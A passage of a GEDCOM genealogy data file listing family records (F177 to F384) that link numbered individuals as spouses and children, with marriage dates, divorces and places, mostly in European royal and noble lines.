+1 WIFE @I502@
+1 CHIL @I503@
+1 CHIL @I504@
+0 @F177@ FAM
+1 HUSB @I505@
+1 WIFE @I500@
+1 CHIL @I506@
+0 @F178@ FAM
+1 HUSB @I507@
+1 WIFE @I501@
+1 CHIL @I508@
+0 @F179@ FAM
+1 HUSB @I162@
+1 WIFE @I510@
+0 @F180@ FAM
+1 HUSB @I418@
+1 WIFE @I1682@
+1 DIV Y
+1 MARR
+2 DATE        1830
+0 @F181@ FAM
+1 HUSB @I418@
+1 WIFE @I513@
+0 @F182@ FAM
+1 HUSB @I417@
+1 WIFE @I514@
+1 CHIL @I1704@
+0 @F183@ FAM
+1 HUSB @I515@
+1 WIFE @I2654@
+1 CHIL @I1213@
+1 MARR
+2 DATE        1822
+0 @F184@ FAM
+1 HUSB @I414@
+1 WIFE @I516@
+0 @F185@ FAM
+1 HUSB @I202@
+1 WIFE @I555@
+0 @F186@ FAM
+1 HUSB @I420@
+1 WIFE @I518@
+1 CHIL @I519@
+1 CHIL @I520@
+1 CHIL @I521@
+1 CHIL @I522@
+1 CHIL @I523@
+1 CHIL @I524@
+0 @F187@ FAM
+1 HUSB @I519@
+1 WIFE @I525@
+1 CHIL @I526@
+1 CHIL @I527@
+0 @F188@ FAM
+1 HUSB @I520@
+1 WIFE @I528@
+1 CHIL @I921@
+1 CHIL @I922@
+1 CHIL @I923@
+1 CHIL @I924@
+1 CHIL @I925@
+1 CHIL @I534@
+1 CHIL @I535@
+1 MARR
+2 DATE        1938
+0 @F189@ FAM
+1 HUSB @I521@
+1 WIFE @I536@
+1 DIV Y
+0 @F190@ FAM
+1 HUSB @I521@
+1 WIFE @I537@
+1 CHIL @I538@
+1 CHIL @I539@
+0 @F191@ FAM
+1 HUSB @I522@
+1 WIFE @I540@
+1 CHIL @I541@
+1 CHIL @I542@
+1 CHIL @I543@
+1 CHIL @I544@
+1 CHIL @I545@
+0 @F192@ FAM
+1 HUSB @I546@
+1 WIFE @I524@
+0 @F193@ FAM
+1 HUSB @I421@
+1 WIFE @I547@
+0 @F194@ FAM
+1 HUSB @I422@
+1 WIFE @I548@
+0 @F195@ FAM
+1 HUSB @I423@
+1 WIFE @I549@
+0 @F196@ FAM
+1 HUSB @I424@
+1 WIFE @I550@
+0 @F197@ FAM
+1 HUSB @I425@
+1 WIFE @I551@
+0 @F198@ FAM
+1 HUSB @I552@
+1 WIFE @I426@
+1 CHIL @I1030@
+1 CHIL @I1031@
+1 CHIL @I470@
+1 CHIL @I1033@
+1 CHIL @I1034@
+1 CHIL @I1035@
+1 MARR
+2 DATE        1913
+0 @F199@ FAM
+1 HUSB @I553@
+1 WIFE @I554@
+1 CHIL @I555@
+1 DIV Y
+1 MARR
+2 DATE 14 JUL 1765
+2 PLAC Charlottenburg
+0 @F200@ FAM
+1 HUSB @I553@
+1 WIFE @I556@
+1 CHIL @I162@
+1 CHIL @I557@
+1 CHIL @I558@
+1 CHIL @I559@
+1 CHIL @I560@
+1 CHIL @I561@
+1 CHIL @I562@
+1 CHIL @I563@
+1 MARR
+2 DATE 14 JUL 1769
+2 PLAC Charlottenburg
+0 @F201@ FAM
+1 HUSB @I558@
+1 WIFE @I248@
+1 MARR
+2 DATE 29 AUG 1815
+2 PLAC London,England
+0 @F202@ FAM
+1 HUSB @I565@
+1 WIFE @I559@
+1 CHIL @I652@
+1 CHIL @I653@
+1 CHIL @I1681@
+1 CHIL @I1682@
+1 MARR
+2 DATE  1 OCT 1791
+2 PLAC Berlin,Germany
+0 @F203@ FAM
+1 HUSB @I566@
+1 WIFE @I561@
+0 @F204@ FAM
+1 HUSB @I563@
+1 WIFE @I567@
+0 @F205@ FAM
+1 HUSB @I568@
+1 WIFE @I569@
+1 CHIL @I553@
+1 CHIL @I570@
+1 CHIL @I571@
+1 CHIL @I572@
+0 @F206@ FAM
+1 HUSB @I573@
+1 WIFE @I571@
+0 @F207@ FAM
+1 HUSB @I574@
+1 WIFE @I575@
+1 CHIL @I576@
+1 CHIL @I485@
+1 MARR
+2 DATE        1760
+0 @F208@ FAM
+1 HUSB @I576@
+1 WIFE @I577@
+1 CHIL @I578@
+0 @F209@ FAM
+1 HUSB @I578@
+1 WIFE @I579@
+1 CHIL @I580@
+1 CHIL @I459@
+0 @F210@ FAM
+1 HUSB @I580@
+1 WIFE @I581@
+1 CHIL @I582@
+0 @F211@ FAM
+1 HUSB @I582@
+1 WIFE @I583@
+1 CHIL @I584@
+0 @F212@ FAM
+1 HUSB @I585@
+1 WIFE @I584@
+1 CHIL @I586@
+0 @F213@ FAM
+1 HUSB @I158@
+1 WIFE @I97@
+1 CHIL @I895@
+1 CHIL @I528@
+1 CHIL @I588@
+1 MARR
+2 DATE        1905
+2 PLAC Tegernsee,,Bavaria
+0 @F214@ FAM
+1 HUSB @I588@
+1 WIFE @I589@
+1 CHIL @I899@
+1 MARR
+2 DATE        1948
+2 PLAC ,Switzerland
+0 @F215@ FAM
+1 HUSB @I597@
+1 WIFE @I598@
+1 CHIL @I2829@
+1 CHIL @I451@
+1 CHIL @I599@
+1 CHIL @I2738@
+1 MARR
+2 DATE        1897
+0 @F216@ FAM
+1 HUSB @I600@
+1 WIFE @I599@
+1 CHIL @I1123@
+1 CHIL @I601@
+1 CHIL @I1124@
+1 MARR
+2 DATE 10 NOV 1926
+2 PLAC Brussels,Belgium
+0 @F217@ FAM
+1 HUSB @I445@
+1 WIFE @I602@
+1 CHIL @I2526@
+1 CHIL @I2527@
+1 CHIL @I2528@
+1 CHIL @I2529@
+1 CHIL @I603@
+1 MARR
+2 DATE        1932
+0 @F218@ FAM
+1 HUSB @I604@
+1 WIFE @I605@
+1 CHIL @I606@
+1 CHIL @I71@
+1 CHIL @I2697@
+1 CHIL @I1664@
+1 CHIL @I598@
+1 CHIL @I1665@
+1 CHIL @I1666@
+1 CHIL @I1667@
+0 @F219@ FAM
+1 HUSB @I606@
+1 WIFE @I607@
+1 CHIL @I608@
+1 CHIL @I1671@
+1 MARR
+2 DATE        1898
+0 @F220@ FAM
+1 HUSB @I603@
+1 WIFE @I1612@
+1 CHIL @I2446@
+1 CHIL @I2447@
+1 CHIL @I2729@
+1 MARR
+2 DATE 19 JUN 1976
+2 PLAC Stockholm,Sweden
+0 @F221@ FAM
+1 HUSB @I611@
+1 WIFE @I612@
+1 CHIL @I613@
+1 CHIL @I614@
+0 @F222@ FAM
+1 HUSB @I615@
+1 WIFE @I614@
+1 CHIL @I616@
+0 @F223@ FAM
+1 HUSB @I616@
+1 WIFE @I617@
+1 CHIL @I618@
+1 CHIL @I619@
+1 MARR
+2 DATE        1709
+0 @F224@ FAM
+1 HUSB @I620@
+1 WIFE @I619@
+1 CHIL @I621@
+1 MARR
+2 DATE        1727
+0 @F225@ FAM
+1 HUSB @I621@
+1 WIFE @I622@
+1 CHIL @I623@
+0 @F226@ FAM
+1 HUSB @I623@
+1 WIFE @I624@
+1 CHIL @I625@
+1 CHIL @I626@
+0 @F227@ FAM
+1 HUSB @I625@
+1 WIFE @I627@
+1 CHIL @I628@
+0 @F228@ FAM
+1 HUSB @I629@
+1 WIFE @I628@
+1 CHIL @I630@
+0 @F229@ FAM
+1 HUSB @I631@
+1 WIFE @I630@
+1 CHIL @I632@
+0 @F230@ FAM
+1 HUSB @I632@
+1 WIFE @I633@
+1 CHIL @I634@
+0 @F231@ FAM
+1 HUSB @I635@
+1 WIFE @I634@
+1 CHIL @I636@
+0 @F232@ FAM
+1 HUSB @I637@
+1 WIFE @I626@
+1 CHIL @I1154@
+1 CHIL @I1155@
+1 CHIL @I1156@
+1 CHIL @I1157@
+1 CHIL @I638@
+1 CHIL @I1158@
+1 CHIL @I1159@
+1 MARR
+2 DATE        1797
+0 @F233@ FAM
+1 HUSB @I639@
+1 WIFE @I638@
+1 CHIL @I646@
+0 @F234@ FAM
+1 HUSB @I640@
+1 WIFE @I642@
+1 CHIL @I643@
+0 @F235@ FAM
+1 HUSB @I643@
+1 WIFE @I644@
+1 CHIL @I645@
+0 @F236@ FAM
+1 HUSB @I646@
+1 WIFE @I647@
+1 CHIL @I640@
+1 CHIL @I641@
+0 @F237@ FAM
+1 HUSB @I648@
+1 WIFE @I641@
+1 CHIL @I649@
+0 @F238@ FAM
+1 HUSB @I618@
+1 WIFE @I324@
+1 CHIL @I650@
+1 CHIL @I575@
+0 @F239@ FAM
+1 HUSB @I650@
+1 WIFE @I651@
+1 CHIL @I2653@
+1 CHIL @I565@
+1 CHIL @I2655@
+0 @F240@ FAM
+1 HUSB @I652@
+1 WIFE @I654@
+1 CHIL @I655@
+1 CHIL @I1689@
+1 CHIL @I1690@
+1 CHIL @I1691@
+1 CHIL @I1692@
+1 MARR
+2 DATE        1816
+0 @F241@ FAM
+1 HUSB @I655@
+1 WIFE @I656@
+1 CHIL @I657@
+1 MARR
+2 DATE  7 JAN 1879
+2 PLAC Arolsen
+0 @F242@ FAM
+1 HUSB @I658@
+1 WIFE @I657@
+1 CHIL @I659@
+1 MARR
+2 DATE  7 FEB 1901
+2 PLAC The Hague,Netherlands
+0 @F243@ FAM
+1 HUSB @I660@
+1 WIFE @I659@
+1 CHIL @I661@
+1 CHIL @I1204@
+1 CHIL @I1205@
+1 CHIL @I1206@
+1 MARR
+2 DATE  7 JAN 1937
+2 PLAC The Hague,Netherlands
+0 @F244@ FAM
+1 HUSB @I613@
+1 WIFE @I662@
+1 CHIL @I663@
+0 @F245@ FAM
+1 HUSB @I663@
+1 WIFE @I664@
+1 CHIL @I665@
+0 @F246@ FAM
+1 HUSB @I666@
+1 WIFE @I665@
+1 CHIL @I667@
+0 @F247@ FAM
+1 HUSB @I668@
+1 WIFE @I667@
+1 CHIL @I669@
+0 @F248@ FAM
+1 HUSB @I669@
+1 WIFE @I670@
+1 CHIL @I671@
+0 @F249@ FAM
+1 HUSB @I672@
+1 WIFE @I671@
+1 CHIL @I673@
+0 @F250@ FAM
+1 HUSB @I673@
+1 WIFE @I674@
+1 CHIL @I675@
+0 @F251@ FAM
+1 HUSB @I676@
+1 WIFE @I675@
+1 CHIL @I677@
+0 @F252@ FAM
+1 HUSB @I678@
+1 WIFE @I679@
+1 CHIL @I680@
+0 @F253@ FAM
+1 HUSB @I680@
+1 WIFE @I681@
+1 CHIL @I682@
+0 @F254@ FAM
+1 HUSB @I683@
+1 WIFE @I682@
+1 CHIL @I2634@
+1 CHIL @I2635@
+1 CHIL @I409@
+1 MARR
+2 DATE        1879
+0 @F255@ FAM
+1 HUSB @I684@
+1 WIFE @I595@
+1 CHIL @I685@
+0 @F256@ FAM
+1 HUSB @I686@
+1 WIFE @I685@
+1 CHIL @I687@
+0 @F257@ FAM
+1 HUSB @I688@
+1 WIFE @I687@
+1 CHIL @I689@
+1 MARR
+2 DATE 20 FEB 1868
+2 PLAC Vienna,Austria
+0 @F258@ FAM
+1 HUSB @I689@
+1 WIFE @I690@
+1 CHIL @I1183@
+1 CHIL @I1184@
+1 CHIL @I691@
+1 CHIL @I1185@
+0 @F259@ FAM
+1 HUSB @I692@
+1 WIFE @I693@
+1 CHIL @I694@
+1 CHIL @I695@
+1 CHIL @I696@
+1 CHIL @I697@
+1 CHIL @I698@
+1 CHIL @I699@
+1 CHIL @I700@
+1 CHIL @I701@
+1 CHIL @I702@
+1 CHIL @I703@
+1 CHIL @I704@
+1 CHIL @I705@
+1 MARR
+2 DATE 28 JUL 1683
+2 PLAC Chapel Royal,St. James,England
+0 @F260@ FAM
+1 HUSB @I706@
+1 WIFE @I707@
+1 CHIL @I708@
+1 CHIL @I709@
+1 CHIL @I710@
+1 CHIL @I693@
+1 CHIL @I711@
+1 CHIL @I712@
+1 CHIL @I713@
+1 CHIL @I714@
+1 MARR
+2 DATE 24 NOV 1659
+2 PLAC Breda
+0 @F261@ FAM
+1 HUSB @I706@
+1 WIFE @I715@
+1 CHIL @I716@
+1 CHIL @I717@
+1 CHIL @I718@
+1 CHIL @I719@
+1 CHIL @I720@
+1 MARR
+2 DATE 21 NOV 1673
+2 PLAC Dover,,England
+0 @F262@ FAM
+1 HUSB @I719@
+1 WIFE @I721@
+1 CHIL @I722@
+1 CHIL @I723@
+1 MARR
+2 DATE  3 SEP 1719
+2 PLAC Monte Fiascone
+0 @F263@ FAM
+1 HUSB @I722@
+1 WIFE @I724@
+1 MARR
+2 DATE 17 APR 1772
+2 PLAC Marcerata
+0 @F264@ FAM
+1 HUSB @I725@
+1 WIFE @I726@
+1 CHIL @I727@
+1 CHIL @I728@
+1 CHIL @I729@
+1 CHIL @I730@
+1 CHIL @I731@
+1 CHIL @I732@
+1 CHIL @I733@
+1 CHIL @I734@
+1 MARR
+2 DATE 23 NOV 1589
+2 PLAC Oslo,Norway
+0 @F265@ FAM
+1 HUSB @I735@
+1 WIFE @I728@
+1 CHIL @I2114@
+1 CHIL @I765@
+1 CHIL @I766@
+1 CHIL @I767@
+1 CHIL @I768@
+1 CHIL @I2115@
+1 CHIL @I2116@
+1 CHIL @I2117@
+1 CHIL @I2118@
+1 CHIL @I2119@
+1 CHIL @I736@
+1 MARR
+2 DATE 14 FEB 1613
+2 PLAC Whitehall
+0 @F266@ FAM
+1 HUSB @I758@
+1 WIFE @I736@
+1 CHIL @I341@
+1 CHIL @I2123@
+1 CHIL @I2124@
+1 CHIL @I2125@
+1 CHIL @I2126@
+1 CHIL @I770@
+1 CHIL @I771@
+0 @F267@ FAM
+1 HUSB @I772@
+1 WIFE @I771@
+1 CHIL @I1177@
+1 CHIL @I1178@
+1 CHIL @I761@
+1 MARR
+2 DATE  8 OCT 1684
+2 PLAC Herrenhausen
+0 @F268@ FAM
+1 HUSB @I737@
+1 WIFE @I738@
+1 CHIL @I726@
+1 CHIL @I1627@
+1 CHIL @I2860@
+1 CHIL @I2861@
+1 CHIL @I2862@
+1 MARR
+2 DATE 20 JUL 1572
+2 PLAC Copenhagen,Denmark
+0 @F269@ FAM
+1 HUSB @I750@
+1 WIFE @I744@
+1 CHIL @I757@
+0 @F270@ FAM
+1 HUSB @I730@
+1 WIFE @I739@
+1 CHIL @I742@
+1 CHIL @I743@
+1 CHIL @I744@
+1 CHIL @I706@
+1 CHIL @I745@
+1 CHIL @I746@
+1 CHIL @I747@
+1 CHIL @I748@
+1 CHIL @I749@
+1 MARR
+2 DATE 13 JUN 1625
+2 PLAC Canterbury,,England
+0 @F271@ FAM
+1 HUSB @I740@
+1 WIFE @I741@
+1 CHIL @I529@
+1 CHIL @I896@
+1 CHIL @I2913@
+1 CHIL @I590@
+1 CHIL @I739@
+1 MARR
+2 DATE 17 DEC 1600
+0 @F272@ FAM
+1 HUSB @I751@
+1 WIFE @I749@
+1 CHIL @I951@
+1 CHIL @I2128@
+1 MARR
+2 DATE 31 MAR 1661
+2 PLAC Paris,,France
+0 @F273@ FAM
+1 HUSB @I743@
+1 WIFE @I752@
+1 MARR
+2 DATE 20 MAY 1662
+2 PLAC Portsmouth,England
+0 @F274@ FAM
+1 HUSB @I753@
+1 WIFE @I754@
+1 CHIL @I752@
+0 @F275@ FAM
+1 HUSB @I755@
+1 WIFE @I756@
+1 CHIL @I715@
+0 @F276@ FAM
+1 HUSB @I757@
+1 WIFE @I709@
+1 MARR
+2 DATE  4 NOV 1677
+2 PLAC St. James Palace,,England
+0 @F277@ FAM
+1 HUSB @I759@
+1 WIFE @I760@
+1 CHIL @I219@
+0 @F278@ FAM
+1 HUSB @I1172@
+1 WIFE @I419@
+0 @F279@ FAM
+1 HUSB @I336@
+1 WIFE @I762@
+1 CHIL @I290@
+1 CHIL @I2146@
+0 @F280@ FAM
+1 HUSB @I337@
+1 WIFE @I763@
+0 @F281@ FAM
+1 HUSB @I764@
+1 WIFE @I340@
+1 CHIL @I1617@
+1 CHIL @I1653@
+1 DIV Y
+1 MARR
+2 DATE  8 NOV 1766
+2 PLAC Christiansborg
+0 @F282@ FAM
+1 HUSB @I773@
+1 WIFE @I774@
+1 CHIL @I775@
+1 CHIL @I776@
+1 CHIL @I828@
+1 CHIL @I829@
+1 CHIL @I830@
+1 CHIL @I831@
+1 CHIL @I832@
+1 MARR
+2 DATE 18 JAN 1486
+2 PLAC Westminster,,England
+0 @F283@ FAM
+1 HUSB @I777@
+1 WIFE @I778@
+1 CHIL @I401@
+0 @F284@ FAM
+1 HUSB @I779@
+1 WIFE @I780@
+1 CHIL @I399@
+0 @F285@ FAM
+1 HUSB @I781@
+1 WIFE @I782@
+1 CHIL @I398@
+0 @F286@ FAM
+1 HUSB @I783@
+1 WIFE @I784@
+1 CHIL @I400@
+0 @F287@ FAM
+1 HUSB @I785@
+1 WIFE @I786@
+1 CHIL @I387@
+0 @F288@ FAM
+1 HUSB @I788@
+1 WIFE @I787@
+1 CHIL @I386@
+0 @F289@ FAM
+1 HUSB @I789@
+1 WIFE @I790@
+1 CHIL @I388@
+0 @F290@ FAM
+1 HUSB @I792@
+1 WIFE @I791@
+1 CHIL @I389@
+0 @F291@ FAM
+1 HUSB @I793@
+1 WIFE @I794@
+1 CHIL @I392@
+0 @F292@ FAM
+1 HUSB @I795@
+1 WIFE @I796@
+1 CHIL @I393@
+0 @F293@ FAM
+1 HUSB @I797@
+1 WIFE @I798@
+1 CHIL @I394@
+0 @F294@ FAM
+1 HUSB @I799@
+1 WIFE @I800@
+1 CHIL @I395@
+0 @F295@ FAM
+1 HUSB @I802@
+1 WIFE @I319@
+1 DIV Y
+1 MARR
+2 DATE    SEP 1971
+0 @F296@ FAM
+1 HUSB @I803@
+1 WIFE @I1607@
+1 CHIL @I69@
+0 @F297@ FAM
+1 HUSB @I804@
+1 WIFE @I93@
+1 MARR
+2 DATE        1969
+0 @F298@ FAM
+1 HUSB @I804@
+1 WIFE @I805@
+0 @F299@ FAM
+1 HUSB @I2984@
+1 WIFE @I806@
+1 CHIL @I243@
+1 DIV Y
+1 MARR
+2 DATE 23 APR 1927
+0 @F300@ FAM
+1 HUSB @I807@
+1 WIFE @I241@
+1 CHIL @I808@
+1 MARR
+2 DATE    MAR 1978
+2 PLAC ,London,England
+0 @F301@ FAM
+1 HUSB @I809@
+1 WIFE @I240@
+1 MARR
+2 DATE    MAY 1980
+0 @F302@ FAM
+1 HUSB @I810@
+1 CHIL @I807@
+0 @F303@ FAM
+1 HUSB @I811@
+1 WIFE @I812@
+1 CHIL @I813@
+1 CHIL @I169@
+0 @F304@ FAM
+1 HUSB @I814@
+1 WIFE @I2947@
+1 CHIL @I811@
+0 @F305@ FAM
+1 HUSB @I815@
+1 CHIL @I814@
+0 @F306@ FAM
+1 HUSB @I816@
+1 WIFE @I817@
+1 CHIL @I815@
+0 @F307@ FAM
+1 HUSB @I818@
+1 CHIL @I816@
+0 @F308@ FAM
+1 HUSB @I819@
+1 CHIL @I818@
+0 @F309@ FAM
+1 HUSB @I820@
+1 WIFE @I821@
+1 CHIL @I170@
+0 @F310@ FAM
+1 HUSB @I823@
+1 WIFE @I824@
+1 MARR
+2 DATE ABT    1953
+0 @F311@ FAM
+1 HUSB @I823@
+1 WIFE @I170@
+1 MARR
+2 DATE    JUL 1975
+2 PLAC Chichester,Register Office,England
+0 @F312@ FAM
+1 HUSB @I825@
+1 WIFE @I822@
+1 CHIL @I826@
+1 CHIL @I2959@
+1 DIV Y
+1 MARR
+2 DATE    JUL 1976
+2 PLAC Dummer,,England
+0 @F313@ FAM
+1 HUSB @I775@
+1 WIFE @I833@
+1 MARR
+2 DATE 14 NOV 1501
+2 PLAC St. Pauls Cath.,London,England
+0 @F314@ FAM
+1 HUSB @I834@
+1 WIFE @I776@
+1 CHIL @I835@
+1 MARR
+2 DATE  8 AUG 1503
+2 PLAC Holyrod Abbey
+0 @F315@ FAM
+1 HUSB @I1473@
+1 WIFE @I1472@
+0 @F316@ FAM
+1 HUSB @I837@
+1 WIFE @I776@
+1 MARR
+2 DATE  3 MAR 1528
+0 @F317@ FAM
+1 HUSB @I838@
+1 WIFE @I830@
+1 MARR
+2 DATE  9 OCT 1514
+2 PLAC Abbeville
+0 @F318@ FAM
+1 HUSB @I839@
+1 WIFE @I830@
+1 CHIL @I1426@
+1 CHIL @I1427@
+1 CHIL @I1428@
+1 MARR
+2 DATE  3 MAR 1515
+2 PLAC Paris,France
+0 @F319@ FAM
+1 HUSB @I828@
+1 WIFE @I833@
+1 CHIL @I842@
+1 CHIL @I843@
+1 CHIL @I844@
+1 CHIL @I845@
+1 CHIL @I846@
+1 CHIL @I847@
+1 DIV Y
+1 MARR
+2 DATE 11 JUN 1509
+2 PLAC Grey Friars Ch.,Greenwich,England
+0 @F320@ FAM
+1 HUSB @I840@
+1 WIFE @I841@
+1 CHIL @I2887@
+1 CHIL @I2889@
+1 CHIL @I2100@
+1 CHIL @I2888@
+1 CHIL @I833@
+1 MARR
+2 DATE        1469
+0 @F321@ FAM
+1 HUSB @I828@
+1 WIFE @I848@
+1 CHIL @I849@
+1 CHIL @I850@
+1 MARR
+2 DATE 25 JAN 1533
+2 PLAC Westminster,London,England
+0 @F322@ FAM
+1 HUSB @I828@
+1 WIFE @I851@
+1 CHIL @I852@
+1 MARR
+2 DATE 30 MAY 1536
+2 PLAC York Place,,England
+0 @F323@ FAM
+1 HUSB @I828@
+1 WIFE @I853@
+1 DIV Y
+1 MARR
+2 DATE  6 JAN 1540
+2 PLAC Greenwich,,England
+0 @F324@ FAM
+1 HUSB @I854@
+1 WIFE @I855@
+1 CHIL @I853@
+0 @F325@ FAM
+1 HUSB @I828@
+1 WIFE @I856@
+1 MARR
+2 DATE 28 JUL 1540
+2 PLAC Hampton Court,Palace,England
+0 @F326@ FAM
+1 HUSB @I857@
+1 WIFE @I858@
+1 CHIL @I856@
+0 @F327@ FAM
+1 HUSB @I828@
+1 WIFE @I859@
+1 MARR
+2 DATE 12 JUL 1543
+2 PLAC Hampton Court,Palace
+0 @F328@ FAM
+1 HUSB @I860@
+1 WIFE @I861@
+1 CHIL @I851@
+0 @F329@ FAM
+1 HUSB @I862@
+1 WIFE @I859@
+1 MARR
+2 DATE ABT    1529
+0 @F330@ FAM
+1 HUSB @I863@
+1 WIFE @I859@
+1 MARR
+2 DATE        1533
+0 @F331@ FAM
+1 HUSB @I864@
+1 WIFE @I859@
+1 CHIL @I867@
+1 MARR
+2 DATE  4 APR 1547
+0 @F332@ FAM
+1 HUSB @I865@
+1 WIFE @I866@
+1 CHIL @I859@
+1 CHIL @I2309@
+0 @F333@ FAM
+1 HUSB @I869@
+1 WIFE @I868@
+1 MARR
+2 DATE 21 MAY 1553
+2 PLAC Durham House,London,England
+0 @F334@ FAM
+1 HUSB @I870@
+1 WIFE @I846@
+1 MARR
+2 DATE 25 JUL 1554
+2 PLAC Winchester,Cathedral,,England
+0 @F335@ FAM
+1 HUSB @I871@
+1 WIFE @I872@
+1 CHIL @I870@
+0 @F336@ FAM
+1 HUSB @I876@
+1 WIFE @I1370@
+1 MARR
+2 DATE 23 APR 1224
+0 @F337@ FAM
+1 HUSB @I877@
+1 WIFE @I878@
+1 CHIL @I879@
+1 CHIL @I880@
+1 CHIL @I881@
+0 @F338@ FAM
+1 HUSB @I874@
+1 WIFE @I882@
+1 CHIL @I883@
+1 CHIL @I884@
+1 DIV Y
+1 MARR
+2 DATE        1957
+2 PLAC Salem,Bavaria
+0 @F339@ FAM
+1 HUSB @I874@
+1 WIFE @I885@
+1 CHIL @I886@
+0 @F340@ FAM
+1 HUSB @I875@
+1 WIFE @I887@
+1 CHIL @I888@
+1 CHIL @I889@
+0 @F341@ FAM
+1 HUSB @I875@
+1 WIFE @I890@
+1 CHIL @I891@
+1 CHIL @I892@
+0 @F342@ FAM
+1 HUSB @I875@
+1 WIFE @I893@
+0 @F343@ FAM
+1 HUSB @I2543@
+1 WIFE @I2545@
+1 MARR
+2 DATE  6 DEC 1491
+0 @F344@ FAM
+1 HUSB @I2426@
+1 WIFE @I2920@
+1 CHIL @I1422@
+0 @F345@ FAM
+1 HUSB @I900@
+1 WIFE @I899@
+1 CHIL @I901@
+1 DIV Y
+1 MARR
+2 DATE        1976
+2 PLAC Dinard,,France
+0 @F346@ FAM
+1 HUSB @I902@
+1 WIFE @I895@
+1 CHIL @I903@
+1 CHIL @I904@
+1 CHIL @I890@
+1 CHIL @I905@
+1 CHIL @I906@
+1 CHIL @I907@
+1 MARR
+2 DATE        1925
+0 @F347@ FAM
+1 HUSB @I903@
+1 WIFE @I908@
+1 CHIL @I909@
+1 CHIL @I910@
+1 CHIL @I911@
+1 CHIL @I912@
+0 @F348@ FAM
+1 HUSB @I910@
+1 WIFE @I913@
+0 @F349@ FAM
+1 HUSB @I911@
+1 WIFE @I914@
+1 CHIL @I915@
+0 @F350@ FAM
+1 HUSB @I916@
+1 WIFE @I906@
+1 CHIL @I917@
+1 CHIL @I918@
+1 CHIL @I919@
+0 @F351@ FAM
+1 HUSB @I533@
+1 WIFE @I532@
+1 CHIL @I1366@
+0 @F352@ FAM
+1 HUSB @I925@
+1 WIFE @I926@
+1 CHIL @I927@
+1 MARR
+2 DATE        1984
+0 @F353@ FAM
+1 HUSB @I924@
+1 WIFE @I928@
+1 CHIL @I929@
+1 CHIL @I930@
+0 @F354@ FAM
+1 HUSB @I922@
+1 WIFE @I931@
+1 CHIL @I932@
+1 CHIL @I933@
+0 @F355@ FAM
+1 HUSB @I921@
+1 WIFE @I934@
+1 CHIL @I935@
+1 DIV Y
+0 @F356@ FAM
+1 HUSB @I921@
+1 WIFE @I936@
+1 CHIL @I937@
+1 CHIL @I938@
+1 CHIL @I939@
+0 @F357@ FAM
+1 HUSB @I293@
+1 WIFE @I940@
+1 CHIL @I941@
+1 CHIL @I942@
+1 CHIL @I943@
+1 CHIL @I944@
+1 MARR
+2 DATE        1979
+0 @F358@ FAM
+1 HUSB @I294@
+1 WIFE @I945@
+1 CHIL @I946@
+1 CHIL @I947@
+1 MARR
+2 DATE        1973
+0 @F359@ FAM
+1 HUSB @I295@
+1 WIFE @I948@
+1 CHIL @I949@
+1 CHIL @I950@
+1 MARR
+2 DATE        1981
+0 @F360@ FAM
+1 HUSB @I953@
+1 WIFE @I952@
+1 CHIL @I954@
+1 MARR
+2 DATE        1923
+0 @F361@ FAM
+1 HUSB @I954@
+1 WIFE @I955@
+1 CHIL @I956@
+1 CHIL @I957@
+1 DIV Y
+1 MARR
+2 DATE        1956
+0 @F362@ FAM
+1 HUSB @I960@
+1 WIFE @I959@
+1 CHIL @I961@
+1 CHIL @I962@
+1 CHIL @I963@
+1 CHIL @I964@
+1 CHIL @I965@
+1 MARR
+2 DATE        1961
+2 PLAC Asker,Near Oslo,Norway
+0 @F363@ FAM
+1 HUSB @I966@
+1 WIFE @I958@
+1 CHIL @I967@
+1 CHIL @I968@
+1 CHIL @I969@
+1 MARR
+2 DATE        1953
+0 @F364@ FAM
+1 HUSB @I438@
+1 WIFE @I971@
+1 CHIL @I1057@
+1 DIV Y
+1 MARR
+2 DATE 31 AUG 1918
+2 PLAC Odessa
+0 @F365@ FAM
+1 HUSB @I977@
+1 WIFE @I973@
+1 CHIL @I978@
+1 MARR
+2 DATE        1983
+0 @F366@ FAM
+1 HUSB @I979@
+1 WIFE @I974@
+1 CHIL @I980@
+1 MARR
+2 DATE        1984
+0 @F367@ FAM
+1 HUSB @I981@
+1 CHIL @I111@
+0 @F368@ FAM
+1 HUSB @I297@
+1 WIFE @I983@
+1 MARR
+2 DATE        1979
+0 @F369@ FAM
+1 HUSB @I984@
+1 WIFE @I985@
+1 CHIL @I986@
+1 MARR
+2 DATE 12 JUL 1472
+2 PLAC Westminster,,London,England
+0 @F370@ FAM
+1 HUSB @I987@
+1 WIFE @I1339@
+1 CHIL @I1340@
+1 CHIL @I985@
+0 @F371@ FAM
+1 HUSB @I988@
+1 WIFE @I989@
+1 CHIL @I991@
+1 CHIL @I992@
+1 CHIL @I993@
+1 CHIL @I984@
+1 CHIL @I994@
+1 CHIL @I995@
+1 CHIL @I996@
+1 CHIL @I997@
+0 @F372@ FAM
+1 HUSB @I990@
+1 WIFE @I1331@
+1 CHIL @I1342@
+1 CHIL @I989@
+0 @F373@ FAM
+1 HUSB @I991@
+1 WIFE @I998@
+1 CHIL @I774@
+1 CHIL @I999@
+1 CHIL @I1000@
+1 CHIL @I1001@
+1 CHIL @I1002@
+1 CHIL @I1003@
+1 CHIL @I1004@
+1 CHIL @I1005@
+1 CHIL @I1006@
+1 CHIL @I1007@
+1 MARR
+2 DATE  1 MAY 1464
+2 PLAC Grafton Regis,Northants
+0 @F374@ FAM
+1 HUSB @I1008@
+1 WIFE @I1000@
+1 MARR
+2 DATE BEF    DEC 1487
+0 @F375@ FAM
+1 HUSB @I1009@
+1 WIFE @I1000@
+1 MARR
+2 DATE BEF    JAN 1504
+0 @F376@ FAM
+1 HUSB @I1003@
+1 WIFE @I1010@
+1 MARR
+2 DATE 15 JAN 1478
+2 PLAC St. Stephen's,Chapel,Westminster,England
+0 @F377@ FAM
+1 HUSB @I1011@
+1 WIFE @I1004@
+1 MARR
+2 DATE  4 FEB 1495
+0 @F378@ FAM
+1 HUSB @I1012@
+1 WIFE @I1006@
+1 MARR
+2 DATE BEF    OCT 1495
+0 @F379@ FAM
+1 HUSB @I1013@
+1 WIFE @I998@
+1 CHIL @I1014@
+1 CHIL @I1015@
+1 MARR
+2 DATE BEF    1460
+0 @F380@ FAM
+1 HUSB @I1016@
+1 WIFE @I985@
+1 MARR
+2 DATE    AUG 1470
+2 PLAC Amboise
+0 @F381@ FAM
+1 HUSB @I993@
+1 WIFE @I1340@
+1 CHIL @I1018@
+1 CHIL @I1019@
+0 @F382@ FAM
+1 HUSB @I1020@
+1 WIFE @I994@
+0 @F383@ FAM
+1 HUSB @I1021@
+1 WIFE @I994@
+0 @F384@ FAM
+1 HUSB @I1022@
+1 WIFE @I996@
+0 @F385@ FAM
